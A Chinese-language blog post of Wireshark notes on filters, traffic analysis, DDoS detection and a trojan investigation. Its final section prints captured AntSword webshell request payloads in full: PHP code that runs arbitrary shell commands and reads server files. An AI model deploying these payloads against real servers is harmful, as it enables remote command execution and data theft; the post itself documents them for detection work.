凡心所向,素履所往

[Untitled Post]

字数统计: 2.3k阅读时长: 9 min
2019/06/10 Share

wireshark 使用记录 (-)
[TOC]

恶意流量检查

在一台服务器上发现有恶意木马,对该设备进行wireshark 抓包分析,很久没用过wireshark了,记录回顾下。

wireshark 流量分析

过滤协议

ctrl+F 或者 http contains”xxx” 来过滤协议

过滤IP

IP源地址:ip.src ==192.168.1.1
IP目的地址:ip.dst== 192.168.1.1
IP地址(包括源和目的):ip.addr== 192.168.1.1

过滤端口

TCP端口:tcp.port==80
TCP目的端口:tcp.dstport == 80
TCP源端口:tcp.srcport == 80
UDP端口:udp.port eq 15000
TCP 1-80之间的端口:tcp.port >= 1 and tcp.port <= 80

过滤协议

http、tcp、udp、arp、icmp、http、smtp、ftp、dns 等

过滤包长度

整个UDP数据包:udp.length==20
TCP数据包中的IP数据包:tcp.len>=20
整个IP数据包:ip.len==20
整个数据包:frame.len==20

HTTP模式过滤

请求方法为GET:http.request.method==“GET”
请求方法为POST:http.request.method==“POST”
指定URI:http.request.uri==“/img/logo-edu.gif”
请求或相应中包含特定内容:http contains “FLAG”

实际分析

病毒端口分析

因为在服务器上发现的病毒是在tina文件夹下,tina程序执行 tina_daemon.exe,监听端口是2525,在发现是无链接,所以在拿到数据包的时候首先过滤2525 端口
-w973
经检测 无数据
-w413

ip分析

提取下数据包中包含的ip地址进行分析下
-w1417

-w698

外网ip

42.81.104.4 天津电信 无信息 美图
49.7.50.36 北京市北京市 电信 无信息 360
52.188.72.233 美国 微软
59.49.81.218 山西省太原市 电信 动态ip windows 更新
101.227.27.36 上海市上海市 电信 360
221.230.147.106 江苏泰州 电信 微软

内网ip:

探测下进行ping 探测的设备

  • ping 探测失败的信息
    -w923
    89.0.0.241 是DNS服务器

  • DNS协议
    -w1176
    解析到360天擎 服务端

除此之外还解析请求了两个 内网,但未解析成功
分别是
10.185.49.42
172.17.136.21

  • 分析所有连接到ip
    结合威胁情报 检测所有的ip,未发现敏感连接

病毒分析

回过头来看下木马程序

-w693

-w1138

根据这个信息google了一下
RemCom

木马工具行为分析

该木马主要是一个开源的psexec 远程管理工具
工具的说明如下:

RemCom是开源的:。
您可以根据需要在计算机上运行任意数量的远程命令
您可以直接执行内部命令(net,netsh,ipconfig):RemCom \\ foo-bar-system net start snmp
您可以在没有任何telnet服务器的情况下与远程计算机建立轻型“telnet”连接:RemCom.exe \\ foo-bar-system cmd
您还可以复制远程计算机上的任何文件并接收其输出。
RemCom在远程计算机上创建一个小的(<1 KB)服务(它在运行时从自身中提取它)。
所有通信都通过命名管道和RPC完成。
应用程序在成功断开连接时删除了连接和服务的痕迹(整洁吧?

它允许在远程Windows系统上执行进程,复制文件,处理输出并将其流回。允许直接使用完整的交互式控制台执行远程shell命令

分析完发现这个是一个正常的数据包,笔记写得没什么意思,又不想去逆向分析,就找找其他wireshark分析的案列看看

数据分析案例

直接搜索字符串,然后跟踪数据流如下
-w584

想走捷径,在这个基础上尝试利用ftp的被动模式 PSAV 直接连接,结果却发现密码不正确,认证失败,这就很尴尬了,只有继续老老实实的分析数据包。
查看数据包,在数据包中直接导出文件:
我这里直接使用的foremost导出

foremost -v -i name.pcap

-w617导出了一个压缩包和key.log;
-w733

看一下key.log
-w644
记录的是Session Key TLS密钥(借用firfox或chrome配置记录,即可记录该信息)

-w914
导出来 看下频谱图 跳下采样率,解压

wireshark tcp三次握手

众所周知,tcp三次握手传输过程

第一次   client --------> server     syn

客户端发送syn包(syn=j)到服务器,并进入到syn_sent状态,等待服务端确认
-w1406
-w1334

第二次   server --------> client     syn + ack

务器收到syn包,必须确认客户的SYN(ack=j+1),同时自己也发送一个SYN包(syn=k),即SYN+ACK包,此时服务器进入SYN_RECV状态;
-w1356

第三次   client --------> server     ack

第三次握手:客户端收到服务器的SYN+ACK包,向服务器发送确认包ACK(ack=k+1),此包发送完毕,客户端和服务器进入ESTABLISHED(TCP连接成功)状态,完成三次握手
-w1290

wireshark 分析攻击现象

DDOS

在进行DDOS攻击时,wireshark从数据包中能明显看到该现象

SYN Flood

  • flag 常见标识:
    在TCP层,有个FLAGS字段,这个字段有以下几个标识:SYN, FIN, ACK, PSH, RST, URG.其中,对于我们日常的分析有用的就是前面的五个字段。
    它们的含义是:
    SYN表示建立连接,
    FIN表示关闭连接,
    ACK表示响应,
    PSH表示有 DATA数据传输,
    RST表示连接重置。
    其中,ACK是可能与SYN,FIN等同时使用的,比如SYN和ACK可能同时为1,它表示的就是建立连接之后的响应,
    如果只是单个的一个SYN,它表示的只是建立连接。
    TCP的几次握手就是通过这样的ACK表现出来的。
    但SYN与FIN是不会同时为1的,因为前者表示的是建立连接,而后者表示的是断开连接。
    RST一般是在FIN之后才会出现为1的情况,表示的是连接重置。
    一般地,当出现FIN包或RST包时,我们便认为客户端与服务器端断开了连接;而当出现SYN和SYN+ACK包时,我们认为客户端与服务器建立了一个连接。
    PSH为1的情况,一般只出现在 DATA内容不为0的包中,也就是说PSH为1表示的是有真正的TCP数据包内容被传递。
    TCP的连接建立和连接关闭,都是通过请求-响应的模式完成的。、

这里面案例比较有意思的一点:
使用TTL分析发现攻击者的蛛丝马迹,当使用随机源进行DDoS攻击时,虽然使用了伪造源地址进行攻击,但攻击者无法伪造攻击主机与目标主机之间的位置关系。有时候通过观察数据包的TTL值变化,也能够获得攻击者的蛛丝马迹,为攻击防御提供辅助支持。下图所示的这个攻击程序并没有修改攻击数据包的TTL值,所有的攻击数据包使用相同的TTL值。这个攻击数据包是由局域网内的一个windows计算机发出的。
-w590

UDP FLOOD

ICMP FLOOD

wireshark 记录antsword

起因是看了下记一次wireshark分析中国菜刀http请求想着我一般用蚁剑,于是看看AntSword的利用特征,搭建环境抓包这部分按下不表,直入正题

不知道为啥 同样的木马+antsword在osx 本地系统上无法执行,一直在报错,还没细看

虚拟终端时

-w952
-w1355
可以明显看到 UA有 antsword的标志
其中连接shell 执行语句如下:

0x1291b5bcd176f=L2Jpbi9zaA==&0x39e42e841a89c=Y2QgIi92YXIvd3d
3L2h0bWwiO3B3ZDtlY2hvIFtTXTtwd2Q7ZWNobyBbRV0=&ant=
@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out){return $out;};
function asoutput(){
    $output=ob_get_contents();
    ob_end_clean();
    echo "26623";
    echo @asenc($output);
    echo "e6e71";
    }
ob_start();
try
    {
        $p=base64_decode($_POST["0x1291b5bcd176f"]);
        $s=base64_decode($_POST["0x39e42e841a89c"]);       
        $d=dirname($_SERVER["SCRIPT_FILENAME"]);
        $c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";    
        $r="{$p}{$c}";
        function fe($f)
        {
        $d=explode(",",@ini_get("disable_functions"));
        if(empty($d)){$d=array();}
        else{
            $d=array_map('trim',array_map('strtolower',$d));
            }
        return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));
        };
        function runcmd($c)
        {
        $ret=0;
        if(fe('system')){@system($c,$ret);} 
        elseif(fe('passthru'))
        {
            @passthru($c,$ret);
        }
        elseif(fe('shell_exec')){print(@shell_exec($c));}
        elseif(fe('exec')){@exec($c,$o,$ret);print(join("",$o));}
        elseif(fe('popen'))
        {
        [email protected]($c,'r');
        while([email protected]($fp){print(@fgets($fp, 2048));}
        @pclose($fp);
        }
        elseif(fe('antsystem')){@antsystem($c);}
        else{$ret = 127;}
        return $ret;
    };
    [email protected]($r." 2>&1");
    print ($ret!=0)?"ret={$ret}":"";;
}catch(Exception $e)
{echo "ERROR://".$e->getMessage();};asoutput();die();

获取当前脚本运行目录-获取绝对路径

dirname($_SERVER["SCRIPT_FILENAME"]

捕获分组获得字符串中的参数

substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";    

执行命令

runcmd($r." 2>&1")

下载文件

0x97c1110a314d1=L3Zhci93d3cvaHRtbC9pbmZvLnBocA==&ant=
@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out)
{
    return $out;
};
function asoutput()
{    
    $output=ob_get_contents();
    ob_end_clean();
    echo "d6192";
    echo @asenc($output);
    echo "96e2b";
}
ob_start();
try
{
    $F=base64_decode(get_magic_quotes_gpc()?stripslashes($_POST["0x97c1110a314d1"]):
    $_POST["0x97c1110a314d1"]); 
    [email protected]($F,"r");
    if(@fgetc($fp))
        {
        @fclose($fp);
        @readfile($F);
        }
    else{
        echo("ERROR:// Can Not Read");
        };
}
catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();

这里比较有区别的地方,使用了fopen读取文件内容 进行下载

 [email protected]($F,"r");

参考

[wireshark还原数据文件]
(http://blog.sina.com.cn/s/blog_e8e60bc00102vfd9.html)
破解ssl加密数据包
使用Wireshark分析并发现DDoS攻击
WireShark分析针对路由器的linux木马

CATALOG
  1. 1. 恶意流量检查
    1. 1.1. wireshark 流量分析
      1. 1.1.1. 过滤协议
      2. 1.1.2. 过滤IP
      3. 1.1.3. 过滤端口
      4. 1.1.4. 过滤协议
      5. 1.1.5. 过滤包长度
      6. 1.1.6. HTTP模式过滤
    2. 1.2. 实际分析
      1. 1.2.1. 病毒端口分析
      2. 1.2.2. ip分析
        1. 1.2.2.1. 探测下进行ping 探测的设备
      3. 1.2.3. 病毒分析
        1. 1.2.3.1. 木马工具行为分析
    3. 1.3. 数据分析案例
    4. 1.4. wireshark tcp三次握手
    5. 1.5. wireshark 分析攻击现象
      1. 1.5.1. DDOS
        1. 1.5.1.1. SYN Flood
        2. 1.5.1.2. UDP FLOOD
        3. 1.5.1.3. ICMP FLOOD
      2. 1.5.2. wireshark 记录antsword
        1. 1.5.2.1. 虚拟终端时
        2. 1.5.2.2. 下载文件
  2. 2. 参考